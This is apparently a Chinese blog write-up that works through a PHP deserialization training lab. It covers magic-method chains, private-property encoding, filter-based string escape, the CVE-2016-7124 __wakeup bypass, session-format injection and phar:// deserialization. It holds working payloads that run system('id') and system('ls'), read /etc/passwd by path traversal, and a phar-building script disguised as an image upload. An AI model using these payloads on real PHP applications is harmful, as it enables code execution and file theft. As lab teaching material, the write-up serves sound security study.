php反序列化靶场随笔分析

时间:2024-11-07 07:44:17
  • 项目地址:github.com/mcc0624/php_ser_Class

  • 推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags

前面讲了以下php基础,我们直接从class6开始实验

class6

访问页面,传一个序列化的字符串,php代码将其反序列化且调用对象的displayVar()方法
​
payload:
benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class7

__construct(): 类的构造函数,当创建类的实例时自动调用。
__destruct(): 类的析构函数,当对象被销毁时自动调用。
​
例题:传一个序列化字符串,php代码反序列化为对象,当对象销毁时调用__destruct()
​
payload:
benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class8

__sleep(): 执行serialize()时,先会调用这个函数。
​
传一个参数给对象,对象__sleep()方法调用system执行这个参数,然而php代码在序列化这个对象时,调用了__sleep()方法
​
payload:
benben=id
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 执行unserialize()时,先会调用这个函数。
​
传一个User 对象序列化后的字符串给参数,php代码会进行反序列化,触发__wakeup(),__wakeup()执行系统命令
​
payload:
benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;}
​
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

class9&class10

__toString(): 类被当作字符串时的回应方法。
__invoke(): 以函数方式调用对象时的回应方法。 
__call(): 当调用对象中不可访问的方法时调用
__callStatic(): 以静态方式调用不可访问方法时调用。
__get(): 读取不可访问属性的值时调用(成员属性不存在)
__set(): 设置不可访问属性的值时调用。(给不存在的成员赋值)
__isset(): 当对不可访问属性调用isset()或empty()时调用。
__unset(): 当对不可访问属性调用unset()时调用。
__clone(): 当对象被克隆时调用。

class11

问题:如果遇到private的属性,在生成序列化的字符串时,如何为其赋值?
操作1:可以先将private修改为public,然后生成序列化的字符串后,在字符串中向这个属性添加类名和%00
操作2:直接给这个类添加一个构造函数,构造函数帮助我们给private属性赋值,赋完值后打印其序列化后的字符串
​
evil类创建对象作为index类创建的对象的test属性,然而index对象的test属性是private,(obj_index->$test = obj_evil)
​
payload:
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
                      ^^^^^^^^
修改后:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
                 ^^^^^^^^^^^^^^^^^^^^
<?php
// 这个对应操作1
// 将index对象的test属性修改为public或去掉修饰符
class index {
    var $test;
}
class evil {
    var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
输出结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
                         ^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
                       ^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 这个对应操作2    
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }
}
class evil {
    var $test2 = 'system("id");'; 
}
$obj = new index();
echo serialize($obj);
/*
输出结果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>

class12

目标:输出sec中的tostring is here!
​
payload:
benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
​
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>

class13

1.较为敏感的方法:Modifier类中__invoke能触发include($this->var)
​
2.Modifier对象中__invoke()方法能被Test对象__get魔术方法触发
​
3.Test对象__get()魔术方法能被Show对象中的__toString()方法触发
​
4.Show对象中的__toString()方法,能被另一个show对象的__wakeup()方法触发
​
5.unserialize触发show对象的__wakeup()方法
Show1对象反序列化触发wakeup魔术方法 ---------> Show2对象的__toString()方法--------->Test对象的__get魔术方法           --------->Modifier对象的__invoke方法--------->include($this->var)
<?php
class Modifier {
    public $par;
}
​
class Show{
    public $source;
    public $str;
}
​
class Test{
    public $p;
}
​
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
​
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
​
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
​
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
​
echo serialize($obj2_Show);
?>
payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}
     ^^^^^
修改后:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}
   ^^^^^^^^^^^^^^^^^^^^^

class14

对象序列化为字符串,字符串进行了过滤,过滤掉了"system()",导致字符串长度减少,因此字符串进行反序列化会失败。
那这种情况下,只要给出两个参数供攻击者输入,那么攻击者就能够控制所有属性(包括这两个属性之外的其他属性)
原理:参数1被过滤,导致序列化后v1的数值长度,与v1的实际长度不匹配,且大于实际长度,这时,构造参数2,让v1的值能一直覆盖到参数2来确保v1的数值长度和实际长度相匹配,然后再一次构造参数2用于构造其他属性,导致整个参数1和参数2的前面部分成为数值部分,而参数2的后面部分成为功能性代码
过滤条件:
"system()" -> ""        8 -> 0
​
结果:
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:x:"x个字符";}
                        
n = 参数1的长度,同时是v1的长度
x = 参数2的长度,不是v2的长度,因为其是属于v1的值,不是功能性代码
m = n被过滤后的长度
n = m + 13 + x的位数(通常是2位)+ 2 + 一个可控长度的字符串
n = m + 17 + 一个可控长度的字符串                                         
n至少比m多17个字符
​
输入n对应字符串(参数1):          system()system()system()        (n=24)(m=0)----->(根据:n = m + 17 + 一个可控长度的字符串,需要长度为7的可控字符串)
输入x对应字符串(参数2):          1234567";s:2:"v2";s:3:"123";}
                               ^^^^^^^^    ^^^^^^^^^^^^^^^^^
                            长度为7的可控字符串     我们构造的名为v2的属性
结果:
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}
                          ^^^^^^^^^^^^^^^^^^^^^^^^                ^^^^^^^^^  
                          长度为n=24                             可控长度的字符串   
过滤后:
O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}
                          ^^^^^^^^^^^^^^^^^^^^^^^^
                          长度为n=24
v1 = 'system()system()system()';
v2 = '1234567";s:2:"v2";s:3:"123";}';
​
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}
​
object(A)#1 (2) {
  ["v1"]=>
  string(27) "";s:2:"v2";s:29:"1234567"
  ["v2"]=>
  string(3) "123"
}

class17(17是14的例题,所以放到前面)

过滤条件:
flag -> hk      4 -> 2
php  -> hk      3 -> 2
​
O:4:"test":3:{s:4:"user";s:n:"m个字符";s:4:"pass";s:x:"x个字符";s:3:"vip";b:0;}
​
n = 参数1的字符个数
m = n过滤后的字符的个数
x = 参数2字符个数
n = m + 15 + (x的位数,通常是2位) + 2 + 一个可控长度的字符串
n = m + 19 + 一个可控长度的字符串
​
所以n至少比m多19个字符
​
输入n对应字符串(参数1):      flagflagflagflagflagflagflagflagflagflag                (n=40)(m=20)---->(需要长度为1的可控字符串)
输入x对应字符串(参数2):      1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
                           ^^                      ^^^^^^^^^^^^^^^
                     长度为1的可控字符串              构造vip属性来控制vip属性的值
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;}
​
​
object(test)#1 (3) {
  ["user"]=>
  string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"
  ["pass"]=>
  string(3) "123"
  ["vip"]=>
  bool(true)
}

class15

对序列化的字符串添加些字符,导致数值长度与实际长度不符
原理:通过构造第一个参数,使得参数的前面部分为数值,而后面部分作为功能性代码
添加条件:
ls -> pwd  (2 -> 3)
​
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:3:"123";}
​
n:参数1的长度,同时是v1的长度
m:n被添加后的长度
a:要构造其他参数的长度
n = m - a
​
要构造的字符串";s:2:"v2";s:3:"123";}
a=22
n = m - 22
​
参数 = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;}
​
payload:
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
添加后:
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}

class16

添加条件:
php -> hack  (3 -> 4)
​
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";}
​
n:参数1的长度,也是user的长度
m:n被增加后的长度
a:要构造的字符串的长度
n = m - a
​
要构造的字符串";s:4:"pass";s:8:"escaping";}
a = 29
n = m - 29
​
payload:
参数 = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
添加后:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

class18

__wakeup()魔术方法绕过(CVE-2016-7124)
​
序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
​
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
payload:
O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}
  ^           ^
这里绕过正则   这里绕过__wakeup的执行

class19

$obj->enter = &$obj->secret;
使用引用,使得$obj对象的enter和secret属性的值使用的是同一块内存
​
payload:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

class20

$_SESSION['benben'] = $_GET['ben'];
​
以上条件php会将获取到的ben值存储在session会话的benben属性,php先创建一个以session为名的文件,然后将ben进行序列化存储到这个文件中,例如:
​
当我们传递ben=1234时,存储的文件里的内容如下:
benben|s:4:"1234";
另外session属性存储进文件时有三种存储格式,以上演示的是php格式:
1.php格式:            键名+竖线+反序列化的属性
2.php_serialize格式:  反序列化的属性
3.php_binary格式:     二进制格式存储
​
第一种情况已经演示了,看第二种情况:
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
ben=123&b=456时,存储结果:
a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";}
​
第三种情况:
ACKbenbens:3:"123";SOHbs:3:"456";
漏洞产生条件:session以php_serialize格式存储属性,而以php格式读取属性
漏洞原理:访问网页时,php后台代码是通过反序列化session对象来获取session属性的值
漏洞影响:我们向session属性中写入我们序列化好的对象,访问时会获取session并反序列化我们写的对象
​
访问save.php
$_SESSION['ben'] = $_GET['a'];
当提交a为如下字符串时
|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
文件存储内容如下,当以php格式解析并反序列化时
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
^^^^^^^^^^^^^^^^^^^^^
竖线前的内容被认作键名,竖线后的内容被当作属性,而竖线后的内容我们可以构造
​
再访问vul.php将会执行恶意代码

class21

漏洞:还是上面的漏洞,提交时候用的是php_serialize格式,读的时候用的php格式
思路:构造payload提交(通过class20的save.php提交),使session属性存储在文件,然后再次访问
​
访问class20的save.php,payload如下:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
再次访问class21的index.php,他会自动获取session会话,并反序列化session的属性,我们通过payload将Flag对象写入session属性,导致其反序列化
​
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

class22

漏洞原理:生成的phar文件中,会将对象压缩成序列化的字符串,使用phar://协议加载文件时,会反序列化成为对象
漏洞条件:目标服务器能访问以phar://协议访问到你构造的phar文件
​
访问:http://localhost/class22/phar.php,会自动生成一个携带Testobj对象的phar文件
访问:http://localhost/class22/index.php,并传参:filename=phar://test.phar&a=phpinfo();
会反序列化phar文件中的Testobj对象

class23

class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
​
对TestObject进行反序列化自动获取flag,甚至不需要任何属性
<?php
//构造phar文件
highlight_file(__FILE__);
class TestObject
{ 
}
if (ini_get('phar.readonly') === 'On') {
    echo "phar.readonly is set to On";
} else {
    echo "phar.readonly is not set to On";
}
@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>
以上代码获取phar文件后
访问http://localhost/class23/upload.php,上传图片,只能上传图片,就把后缀phar改为jpg/png
访问http://localhost/class23/index.php携带post参数file=phar://upload/test.jpg
会自动将test.jpg文件当作phar文件并反序列化,反序列化触发 __destruct()方法获取flag